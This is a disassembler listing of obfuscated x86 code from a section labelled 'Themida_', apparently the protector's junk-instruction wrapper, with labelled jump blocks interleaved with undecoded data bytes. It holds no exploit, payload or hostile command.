loc_585F6F:				; CODE XREF: Themida_:00585B8Aj
		push	ebp
		pop	ebx
		pop	ebp
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	0BD6h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58B8E3
; ---------------------------------------------------------------------------


loc_585F87:				; CODE XREF: Themida_:0058F8FEj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58CCBA
; ---------------------------------------------------------------------------
aWs9		db 'Wé9-',0
		db 0
; ---------------------------------------------------------------------------


loc_585F9B:				; CODE XREF: Themida_:00587283j
		add	bl, 0C3h
		pop	eax
		jmp	loc_58B772
; ---------------------------------------------------------------------------
		dd 4244429h, 8324048Bh,	34FF04C4h, 0C4815824h, 4, 0B31AF805h
		dd 0B60F666Dh, 0A0ECE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585FC6:				; CODE XREF: Themida_:0058A453j
		pop	dword ptr [esp]
		pop	esp
		xor	dh, 9Ah
		sub	al, dh
		mov	edx, [esp]
		jmp	loc_587A0C
; ---------------------------------------------------------------------------
		db 1
		dd 0EC835BD9h, 241C8904h, 33DCE9h, 24248900h, 6530E9h
		dd 24248900h, 872E9h, 240C8700h, 2414895Ch, 0A2C2E9h, 4C48100h
		dd 8F000000h, 248B2404h, 3CD36624h, 99E99C24h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586017:				; CODE XREF: Themida_:005903E8j
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	6493h
		mov	[esp], esi
		jmp	loc_5857F8
; ---------------------------------------------------------------------------
aFzfrsh		db 'fZfRéh',0Dh,0
		align 2
		dw 815Dh
		dd 4C4h, 4C58100h, 81000000h, 4EDh, 0AFE95500h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58605F:				; CODE XREF: Themida_:0058D658j
		and	edi, 5BD1429h
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		push	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 61CC700Eh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		and	esi, 1D146868h
		jmp	loc_589486
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D32424h, 0D0E99C24h, 31FFFFE3h, 6AE95BDAh,	6600008Fh
		dd 8E6B151h, 2C5966C8h,	28C0049Eh, 0F30058C6h, 95A8E95Ah
		dd 6EBA0000h, 52329E46h, 5A2414F7h, 37E9DAF7h, 81FFFFFEh
		dd 1673E1F3h, 0D5CB817Fh, 817CAF2Eh, 0F89FBDEBh, 0DA895213h
		dd 5B5AD089h, 0B3B08C05h, 58C289ACh, 815AD601h,	4859DCCEh
		dd 23C68150h, 1850684h,	4875EF0h, 8B665C24h, 89572404h
		dd 4EC83E7h, 0BE243489h, 4, 42F7E953h, 0DA310000h, 0DA31D331h
		dd 0FFE761E9h, 1F205FFh, 0B4E93914h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586137:				; CODE XREF: Themida_:00585067j
		pop	ecx
		jmp	loc_58FD95
; ---------------------------------------------------------------------------
		db 0BDh, 7Eh, 31h
		dd 0FAE9153Fh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586147:				; CODE XREF: Themida_:0058C894j
		add	bh, 9Bh
		pop	ecx
		jmp	loc_58E4E8
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9520000h, 8098h
dword_58615C	dd 32C468h, 24148900h, 6211E9h		db 0
; ---------------------------------------------------------------------------


loc_586169:				; CODE XREF: Themida_:00585B5Bj
		sub	ecx, 59274AD2h
		push	71A8h
		jmp	loc_585C2A
; ---------------------------------------------------------------------------
aQsjp		db 'Qéjp',0
		db 0
; ---------------------------------------------------------------------------


loc_58617F:				; CODE XREF: Themida_:005846CDj
		pop	ebx
		jmp	loc_5872E1
; ---------------------------------------------------------------------------


loc_586185:				; CODE XREF: Themida_:005856B8j
		pop	eax
		push	esi
		mov	esi, 1D760CC3h
		sub	eax, 149F0F63h
		sub	eax, esi
		jmp	loc_58A889
; ---------------------------------------------------------------------------


loc_586198:				; CODE XREF: Themida_:0058EA0Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5886AB
; ---------------------------------------------------------------------------


loc_5861AF:				; CODE XREF: Themida_:0058C39Ej
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5848A9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 248B2404h, 2424D224h, 0E2A1E99Ch,	0E95FFFFFh
		dd 0FFFFF94Fh, 19C2805Bh, 7C24E9h, 290E6800h, 2C890000h
		dd 197ABD24h, 0EDD11383h, 0CD87D5F7h, 39E9D1F7h, 81000047h
		dd 0F465A2EEh, 5DC68147h, 115FF11h, 5DEE81DEh, 8115FF11h
		dd 0F465A2C6h, 0CDB85047h, 5624C16h, 212015D2h,	6E8C148h
		dd 17A7E9h, 2CC2BB00h, 0EB8127EEh, 0B269150Fh, 575BDE31h
		dd 8AE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58623D:				; CODE XREF: Themida_:00585315j
		mov	ecx, 38h
		push	edx
		mov	edx, 24F5474Eh
		add	ecx, edx
		pop	edx
		add	ecx, edi
		sub	ecx, 24F5474Eh
		push	32Ah
		mov	[esp], ebx
		jmp	loc_58C761
; ---------------------------------------------------------------------------


loc_586260:				; CODE XREF: Themida_:0058AA65j
		add	edi, 0D9FB7F5Eh
		jmp	loc_588F97
; ---------------------------------------------------------------------------


loc_58626B:				; CODE XREF: Themida_:0058FA04j
		mov	edx, esi
		pop	esi
		or	edx, 7C5A62EBh
		sub	edx, 101A3C8Eh
		and	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5903CB
; ---------------------------------------------------------------------------
		db 81h
		dd 3134FEE9h, 59CB8989h, 0E951C301h, 0FFFFE9C5h
; ---------------------------------------------------------------------------


loc_586298:				; CODE XREF: Themida_:00586F54j
		add	eax, ebp
		pop	ebp
		mov	ecx, eax
		pop	eax
		shr	ecx, 6
		jmp	loc_58A91D
; ---------------------------------------------------------------------------


loc_5862A6:				; CODE XREF: Themida_:00588DD1j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		xchg	edi, [esp]
		xor	edi, eax
		jmp	loc_58A0B2
; ---------------------------------------------------------------------------


loc_5862B7:				; CODE XREF: Themida_:0058F3D7j
		push	ecx
		mov	ecx, 3A583B4Bh
		push	9DAh
		mov	[esp], eax
		mov	eax, 38B076C2h
		or	eax, 45225117h
		jmp	loc_5900C9
; ---------------------------------------------------------------------------
dword_5862D4	dd 160068h, 241C8900h, 9C5E28BBh, 18B85077h, 2541C832h
					; DATA XREF: Themida_:00584350o
		dd 108B7175h, 8AF3E9h, 4088BD00h, 0E5817DF8h, 63B4603h
		dd 0ED81D5F7h, 0FBC7BFFBh, 875DEA29h, 895C2414h, 2B9240Ch
		dd 81000000h, 556E0FC3h, 81CB0153h, 556E0FEBh, 0F9685953h
		dd 89000071h, 74FF241Ch, 34FF0424h, 89535B24h, 4C381E3h
		dd 83000000h, 1C8704C3h, 0FDE95C24h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586347:				; CODE XREF: Themida_:0058C236j
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	2692h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_58CDEA
; ---------------------------------------------------------------------------


loc_58635D:				; CODE XREF: Themida_:00588F92j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		sub	esp, 4
		jmp	loc_588F4F
; ---------------------------------------------------------------------------


loc_586376:				; CODE XREF: Themida_:00584EC1j
		mov	esi, 4
		jmp	loc_5880E9
; ---------------------------------------------------------------------------
aWXKVr		db 'W¿å*ª',7,'VRº',0
		dw 0BA4Eh
		dd 0D089506Fh, 5A58C689h, 0FFF150E9h, 35E951FFh
		db 3Bh,	2 dup(0)
byte_58639F	db 66h			; DATA XREF: Themida_:00584200o
		dd 56240C8Bh, 0E950E689h, 2320h, 0E957E189h, 23Ah
; ---------------------------------------------------------------------------


loc_5863B4:				; CODE XREF: Themida_:00588E1Bj
		sub	eax, 70C46434h
		sub	eax, ecx
		push	ecx
		push	ebx
		jmp	loc_58C2AB
; ---------------------------------------------------------------------------
		dw 3A2Dh
		dd 155420Dh, 0FF5558C5h, 5D042474h, 5C24048Fh, 9C240409h
		dd 0FFE096E9h, 1CF468FFh, 34890000h, 1FE95424h,	0B8000073h
		dd 478B6641h, 7053E9h
		db 0
; ---------------------------------------------------------------------------


loc_5863F5:				; CODE XREF: Themida_:0058FA5Aj
		sub	esi, 70C3057Bh
		neg	esi
		xor	esi, 92E4B08h
		sub	esi, 0BD11A211h
		add	esi, 0CA74E149h
		sub	ecx, 5D7B3690h
		jmp	loc_58C0BE
; ---------------------------------------------------------------------------
word_58641A	dw 0F66h		; DATA XREF: Themida_:005842D4o
		dd 0BE6802B6h, 89000029h, 5954240Ch, 18BBB850h,	0E0D11BDCh
		dd 4A2DD8F7h, 574A250Dh, 0C1A45BFh, 5FF8091Ah, 31D03148h
		dd 52D031C2h, 0FFF1C8E9h, 2B8FFh, 59E90000h, 80FFFFE1h
		dd 0C228C6C2h, 8032B353h, 0BCE9F4F3h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586467:				; CODE XREF: Themida_:00584D83j
		push	30B86970h
		pop	eax
		and	eax, 2F29005Fh
		or	eax, 1472EEh
		xor	eax, 4A7C7918h
		sub	eax, 0FD03AA9Ah
		jmp	loc_58ECA5
; ---------------------------------------------------------------------------
word_586486	dw 8B66h		; DATA XREF: Themida_:005841F0o
		dd 0B0E9240Ch, 81000049h, 4C4h,	2BF5700h, 81000000h, 8E1EE2C6h
		dd 0F8D1E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5864A6:				; CODE XREF: Themida_:00588A89j
		mov	esi, 6C5922E8h
		inc	esi
		or	esi, 2EEF39D2h
		add	esi, 53F307B1h
		sub	esi, 6B9F389Eh
		sub	edi, esi
		jmp	loc_58680F
; ---------------------------------------------------------------------------
		db 1, 0E9h, 81h
		dd 88138CC1h, 242C8B09h, 8104C483h, 0C04246Ch, 8161BB32h
		dd 6B04246Ch, 2954FB6Bh, 8104244Ch, 6B042444h, 8154FB6Bh
		dd 0C042444h, 5961BB32h, 0A5BB535Ah, 4B1E9670h,	0EB81D3F7h
		dd 8D1E4013h, 7771E9h, 240C8B00h, 4C481h, 0C1810000h, 4
		dd 2ECCE9h
		db 0
; ---------------------------------------------------------------------------


loc_586521:				; CODE XREF: Themida_:00588305j
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_58725C
; ---------------------------------------------------------------------------


loc_58652C:				; CODE XREF: Themida_:00588BC8j
		pop	ecx
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_58742A
; ---------------------------------------------------------------------------
		dd 0E9240487h, 5B30h, 4C481h, 7F050000h, 0E94B4A49h, 0E5Ch
; ---------------------------------------------------------------------------


loc_586558:				; CODE XREF: Themida_:0058A491j
		pop	edi
		sub	edx, 9603FC55h
		sub	esi, edx
		jmp	loc_586AF7
; ---------------------------------------------------------------------------
		dw 9C50h
		dd 0FFDF06E9h, 895F58FFh, 0FAEE9C1h, 0F7810000h, 3DF04FC0h
		dd 15FFB89h, 0BA52FBh, 55000000h, 0F930A3BDh, 2DC58158h
		dd 1EB3EEFh, 0DA015DEAh, 1FD0EA81h, 2034438h, 143EE9h
		dd 58C38800h, 58B25259h, 80EEC280h, 94E943CAh, 57FFFFE2h
		dd 0C781E789h, 4, 4C781h, 3C870000h, 24248B24h,	0E904EC83h
		dd 4AB1h, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5865DA:				; CODE XREF: Themida_:0058989Dj
		push	ecx
		mov	ecx, ebx
		mov	ebx, ecx
		mov	ecx, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5894EC
; ---------------------------------------------------------------------------
		dw 62BFh
		dd 5262CD0Ch, 0CE1C3BBAh, 5EAC147h, 939C281h, 0D7217737h
		dd 39B9515Ah, 0E9587647h, 1D2Ah
; ---------------------------------------------------------------------------


loc_586610:				; CODE XREF: Themida_:00587C50j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58953B
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 6
		dd 0D7F68146h, 56488E35h, 34EB1BEh, 1730E915h, 89570000h
		dd 4C781E7h, 83000000h,	3C8702C7h, 778E924h, 4830000h
		dd 34FF0424h, 19E95F24h, 38000049h, 0CE99CC1h, 0D0FFFFDEh
		dd 80DAF6E2h, 0C2800EF2h, 0E9D5887Dh, 0FFFFF30Dh
dword_586678	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFDDEBh, 5024148Bh
					; DATA XREF: Themida_:00584254o
		dd 405E089h, 52000000h,	4BAh, 5AD00100h, 0E9240487h, 0FBh
		dd 4EC81h, 83E90000h, 8B00007Ch, 0C481242Ch, 4,	5C241C87h
		dd 4A30F66h, 0ACE99C24h, 81FFFFDDh, 4C7h, 4C78300h, 8B243C87h
		dd 50512424h, 8968E9h, 0DAF74200h, 0AC85F281h, 0D731B019h
		dd 0E9FA015Ah, 5108h, 0ED81DD29h, 272B770Bh, 81241C8Bh
		dd 4C4h, 242C8700h, 8924248Bh, 64E9240Ch, 83FFFFDDh, 67E904ECh
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586717:				; CODE XREF: Themida_:00584BE6j
		push	53E8h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5898A2
; ---------------------------------------------------------------------------
		dd 641BB951h, 44813E5Bh, 4E0D0824h, 0CFE90F85h,	8100001Bh
		dd 0B544BAEEh, 655E90Dh, 2C330000h, 2C4DE924h, 0D0290000h
		dd 66C3315Ah, 0E3895351h, 4BD55h, 0C3810000h, 2067252Fh
		dd 0EB81EB01h, 2067252Fh, 4EB835Dh, 8B241C87h, 4892424h
		dd 5001B424h, 0D0F685B0h, 0FE03E0C0h, 7AB151C8h, 6605E9C0h
		dd 28000068h, 0C8A240Ch, 2C48324h, 37E95266h, 5C00007Fh
		dd 103B6866h, 24148966h, 0E9D7B050h, 9F7Ah
; ---------------------------------------------------------------------------


loc_5867B0:				; CODE XREF: Themida_:0058B713j
		add	[esp+8], ecx
		jmp	loc_58F748
; ---------------------------------------------------------------------------


loc_5867B9:				; CODE XREF: Themida_:0058751Fj
		add	esp, 4
		push	4F78h
		jmp	loc_58CC20
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241489h, 0FFFFDF5Eh, 0C281DAF7h, 18EEA561h, 0FFFF6DE9h
		db 0FFh
byte_5867E1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005841FCo
		dd 582434FFh, 50E78957h, 9E3B4CB8h, 0ED98E957h,	5753FFFFh
		dd 4BFh, 5DC9E900h, 0E6890000h,	4C681h,	29E90000h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58680F:				; CODE XREF: Themida_:005864C0j
		pop	esi
		sub	edi, ebx
		add	edi, 57530B0Eh
		add	edi, 64D05D46h
		pop	ebx
		push	ecx
		mov	ecx, edi
		mov	ebx, ecx
		pop	ecx
		pop	edi
		jmp	loc_584473
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 78E768h, 242C8900h, 24C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58683D:				; CODE XREF: Themida_:0058C49Dj
		push	dword ptr [esp]
		jmp	loc_58F02C
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 8919E9h, 0A2C38100h,	8B230B71h, 0C4812404h, 4, 119CBD55h
		dd 8EE951EFh, 83FFFFF5h, 0FF042404h, 565B2434h,	5153E689h
		dd 8B20E9h, 0FFEF8100h,	81FFFFFFh, 7D7794F7h, 0FFFB01E8h
		dd 3C8B2434h, 325BE924h, 0EE810000h, 215226D0h,	0B850CE01h
		dd 75E01D3Ah, 0F632B0Dh, 3614E941h, 89660000h, 81E92404h
		dd 8300003Bh, 772104C4h, 2434FF1Ch, 0E689565Eh,	4C681h
		dd 0EE810000h, 4, 8B243487h, 14892424h,	81E28924h, 4C2h
		dd 4EC8300h, 0BF243C89h, 4, 875FFA01h, 0E95C2414h, 0FFFFDB7Fh
; ---------------------------------------------------------------------------


loc_5868F4:				; CODE XREF: Themida_:00588542j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		jmp	loc_58E06D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0DB55E930h, 2C89FFFFh, 0ACE95424h
		db 7Bh,	2 dup(0)
byte_586927	db 8Bh			; DATA XREF: Themida_:00584324o
		dd 44E92424h, 80FFFFDBh, 8E94CC5h, 81000022h, 4C6h, 24348700h
		dd 241C8B5Ch, 0CF268h, 243C8900h, 0B0E9E789h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_586953:				; CODE XREF: Themida_:0058B204j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58C3C0
; ---------------------------------------------------------------------------
		dd 0BA525351h, 548E235Dh, 0F75AD389h, 0E3C381D3h, 8159823Dh
		dd 3D5A21F3h, 6EBC114h,	2506F381h, 9E90043h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58698F:				; CODE XREF: Themida_:0058AB50j
		shr	ecx, 6
		jmp	loc_588368
; ---------------------------------------------------------------------------
aQsA		db 'Qé/a',0
		db 0
byte_58699D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005842ECo
		dd 8B545024h, 0C4812404h, 4, 405h, 4EC8100h, 0E9000000h
		dd 723Ah, 6D05E781h, 0C7812AF5h, 7D1334FEh, 0E95FFA09h
		dd 1F52h
; ---------------------------------------------------------------------------


loc_5869D0:				; CODE XREF: Themida_:00589477j
		push	ebp
		mov	ebp, esp
		jmp	loc_588DC8
; ---------------------------------------------------------------------------
		dd 2483C681h, 0CE016083h, 2483EE81h, 68596083h,	6C24h
		dd 0FF243489h, 8B042474h, 0E7E92434h, 0B5000081h, 0E9E828BEh
		dd 0FFFFE69Bh, 2630A2Dh, 5D0296Ah, 6A02630Ah, 5E292D5Ah
		dd 0F50537BFh, 141E620h, 20F52DE8h, 0BB5341E6h,	37BF5E29h
		dd 515BD801h, 0D17E76B9h, 41D9F771h, 6117C181h,	85E94DB5h
		dd 5A000044h, 7DC4E9h, 7DC9B800h, 0C7313E72h, 8324048Bh
		dd 0D7F704C4h, 0E801BD55h, 3CE9EA91h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586A5F:				; CODE XREF: Themida_:00586B05j
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		pop	esi


loc_586A66:				; CODE XREF: Themida_:005856F6j
		push	1CCFh
		mov	[esp], ebx
		push	ebp
		jmp	loc_58D199
; ---------------------------------------------------------------------------
		dd 5C241C87h, 388D301h,	366BE9h, 0FC90B00h, 17F784h, 252A6800h
		dd 24890000h, 24048324h, 653E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586A9A:				; CODE XREF: Themida_:0058DDB4j
		sub	ebx, 0C67F0B4Fh
		sub	edi, 64D05D46h
		jmp	loc_588A88
; ---------------------------------------------------------------------------
		db 80h
		dd 0D70866C2h, 0E9D7F65Ah, 5693h, 27CAE958h, 0CA010000h
		dd 81240C8Bh, 4C4h, 0E9D03100h,	48AAh
; ---------------------------------------------------------------------------


loc_586AD0:				; CODE XREF: Themida_:0058AF93j
		mov	edx, [esp]
		jmp	loc_58754C
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 77F7h
aNsF		db '­é:F',0             ; DATA XREF: Themida_:005843A8o
		align 2
		dw 2959h
		dd 0C3815AD5h, 71A668DCh, 0D0E9EB01h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586AF7:				; CODE XREF: Themida_:00586561j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [edi+24h]
		push	6B79h
		jmp	loc_586A5F
; ---------------------------------------------------------------------------


loc_586B0A:				; CODE XREF: Themida_:0058B1C1j
		not	esi
		inc	esi
		add	esi, 0A306B1C3h
		xor	ebp, esi
		pop	esi
		and	ebx, ebp
		jmp	loc_589050
; ---------------------------------------------------------------------------


loc_586B1D:				; CODE XREF: Themida_:00587EFBj
		pop	esi
		add	esi, 4
		push	eax
		jmp	loc_58A00C
; ---------------------------------------------------------------------------
aB2n?swn	db 'Ç|2N?éwN',0
		db 0
; ---------------------------------------------------------------------------


loc_586B35:				; CODE XREF: Themida_:00585944j
		push	eax
		push	109A6CE9h
		pop	eax
		add	eax, 0FFFFFFFFh
		add	eax, 73E17196h
		and	eax, 1A867401h
		push	ebp
		jmp	loc_586F4F
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 26h
		dd 29D4D0A1h, 243C8BFAh, 0E904C483h, 0FFFFDEA6h
; ---------------------------------------------------------------------------


loc_586B64:				; CODE XREF: Themida_:0058759Fj
		sub	cl, 43h
		mov	dl, cl
		pop	ecx
		add	ch, dl
		pop	edx
		sub	dh, 0B5h
		sub	dh, 5Ch
		add	dh, ch
		add	dh, 5Ch
		add	dh, 0B5h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_5893B2
; ---------------------------------------------------------------------------
byte_586B93	db 83h			; DATA XREF: Themida_:00584364o
		dd 1C8904ECh, 0E08FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586B9E:				; CODE XREF: Themida_:005852B1j
		add	esi, eax
		pop	eax
		push	1C9Bh
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_584D16
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E7895724h, 4E16BD55h, 0F5810E84h, 2836129Fh, 14DEE9h
		dd 0E9FE2900h, 1B62h, 5D2414F7h, 5355514Dh, 8400E9h, 2404FF00h
		dd 50C7815Fh, 0E93BDE1Eh, 8B1Eh, 3087F680h, 0C7E95AF7h
		dd 3300001Ch, 4312404h,	24043324h, 0FFEF43E9h
		db 0FFh
byte_586C1D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005841A0o
		dd 8124048Bh, 4C4h, 8B545300h, 68E9241Ch, 5E000031h, 6EE9EF01h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586C3B:				; CODE XREF: Themida_:00585D87j
		mov	ebx, 4
		sub	eax, 3B903E1Ah
		add	eax, ebx
		add	eax, 3B903E1Ah
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58F49C
; ---------------------------------------------------------------------------
aQhxc		db 'QhåC',0
		dd 24348900h, 5405E9h, 1C875900h, 24248B24h, 418BE9h
		db 0
; ---------------------------------------------------------------------------


loc_586C75:				; CODE XREF: Themida_:0058B9C3j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_58C94F
; ---------------------------------------------------------------------------
		db 51h
		dd 0BF57E189h, 2C2C68A2h, 0BA52D7F7h, 337A7E18h, 2928CA81h
		dd 0D0E9077Bh
		db 18h,	2 dup(0)
byte_586C9F	db 0FFh			; DATA XREF: Themida_:00584408o
		dd 83582434h, 48904ECh,	4EC8124h, 89000000h, 4832424h
		dd 56580424h, 4BEh, 67BB5300h, 1771742h, 0A52D5BD8h, 15B3E58h
		dd 71CEE9F0h, 90680000h, 89000076h, 5E9241Ch, 6600008Dh
		dd 242C8052h, 0C05A66FFh, 0CAFE02E2h, 0EC81CAFEh, 2, 24048966h
		dd 0B1E9D5B0h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586CFF:				; CODE XREF: Themida_:0058D3F5j
		add	esp, 4
		sub	esp, 4
		jmp	loc_585ED3
; ---------------------------------------------------------------------------


loc_586D0D:				; CODE XREF: Themida_:0058D5C5j
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586D1E:				; CODE XREF: Themida_:005887C5j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_58896D
; ---------------------------------------------------------------------------


loc_586D2F:				; CODE XREF: Themida_:00590317j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dd 76B2BB53h, 0C14B4AA6h, 814B07EBh, 457A48F3h,	6D5AE923h
		dd 0B60F0000h, 148B66C0h, 0E6895624h, 4C681h, 0EC810000h
		dd 4, 7937E9h, 5FF93100h, 2414F751h, 81240C8Bh,	4C4h, 47C2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586D8E:				; CODE XREF: Themida_:00590373j
		add	esi, ebp
		pop	ebp
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_58B430
; ---------------------------------------------------------------------------
		db 81h
		dd 20456EEh, 81C60114h,	20456C6h, 8438E914h, 0ADB60000h
		dd 5A66F728h, 0FE5BF920h, 2EA9E9C1h, 34870000h,	0C895C24h
		dd 1F8E924h, 0E95C0000h, 48EDh,	70F5E959h
		db 2 dup(0)
word_586DD6	dw 0C8Bh		; DATA XREF: Themida_:005843F4o
		dd 4EC8124h, 89000000h,	0E6892434h, 9179E950h, 0C8B0000h
		dd 4C48324h, 8904EC83h,	0E389241Ch, 4BD55h, 0C0E90000h
		dd 81FFFFDFh, 4C7h, 4C78100h, 87000000h, 685C243Ch, 2D38h
		dd 89241489h, 2418E9E2h, 0FDBA0000h, 29D179DEh,	0CB015AD1h
		dd 99BE5659h, 81499541h, 5921B9C6h, 0C1D6F77Dh,	0DEE903E6h
		dd 8B000029h, 0C481240Ch, 4, 0DD58A905h, 30DDE95Ah, 0CC800000h
		dd 0B15166F1h, 66CC0094h, 94F48059h, 48BE328h, 4C48324h
		dd 0C380C328h, 0B151661Dh, 66CB282Bh, 57240C8Bh, 0C781E789h
		dd 4, 584E9h, 0B3BB5300h, 684B9D2Fh, 644Eh, 0BD242C89h
		dd 33E36CC7h, 0AD2A2105h, 5D1E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586EA6:				; CODE XREF: Themida_:0058DFC4j
		add	esp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_58F345
; ---------------------------------------------------------------------------
		db 0E9h, 0A1h, 0D5h
		dd 8158FFFFh, 4C5h, 2C7AE900h, 0E3C10000h, 186BE908h, 4830000h
		dd 815D0424h, 4C5h, 72D86800h, 1C890000h, 4BB24h, 0BB530000h
		dd 2B8A354Ch, 0F381D3F7h, 662C77D8h, 4ADCE381h,	0EB8160ADh
		dd 0F8DD913Dh, 0E95BDD01h, 0FFFFF7D0h, 804FCE80h, 0C6806EE6h
		dd 0C0B353FEh, 3009E9h,	21E95900h, 53000010h, 96E9ADB3h
		dd 81000062h, 0B1E793C5h, 246C0184h, 9BE95D04h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586F4F:				; CODE XREF: Themida_:00586B4Cj
		mov	ebp, 10650EF0h
		jmp	loc_586298
; ---------------------------------------------------------------------------


loc_586F59:				; CODE XREF: Themida_:00588EC3j
		push	ebx
		jmp	loc_59026F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8247C29h, 478F5D5Fh,	40478140h, 26DD18BAh, 2083E9h
		dd 0A0332D00h, 0C7012F69h, 4C78358h, 5C243C87h,	4C481h
		dd 34E90000h, 0B8000060h, 52A85972h, 0C87E9h
		db 0
; ---------------------------------------------------------------------------


loc_586F99:				; CODE XREF: Themida_:005901AEj
		mov	edx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 7977331Dh
		sub	edi, 1
		jmp	loc_58FF11
; ---------------------------------------------------------------------------
		dw 0DA09h
		dd 81241C8Bh, 4C4h, 52A0E900h, 0E9540000h, 0FFFFF545h
		dd 405h, 4BFDE900h, 87590000h, 0A6E9241Ch, 800003Fh, 0E99C2404h
		dd 0FFFFD48Fh, 8F04C483h, 248B2404h, 4896624h, 0D47DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586FF6:				; CODE XREF: Themida_:00585D5Cj
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_58B0E5
; ---------------------------------------------------------------------------
		dd 24148B66h, 0FFF635E9h, 0C3095BFFh, 8324048Bh, 0C38104C4h
		dd 8808DACBh, 494468h, 24348900h, 18E9DE89h, 20000056h
		dd 0CDFE58C5h, 81B25266h, 5A66D500h, 6698E9h, 6DD86800h
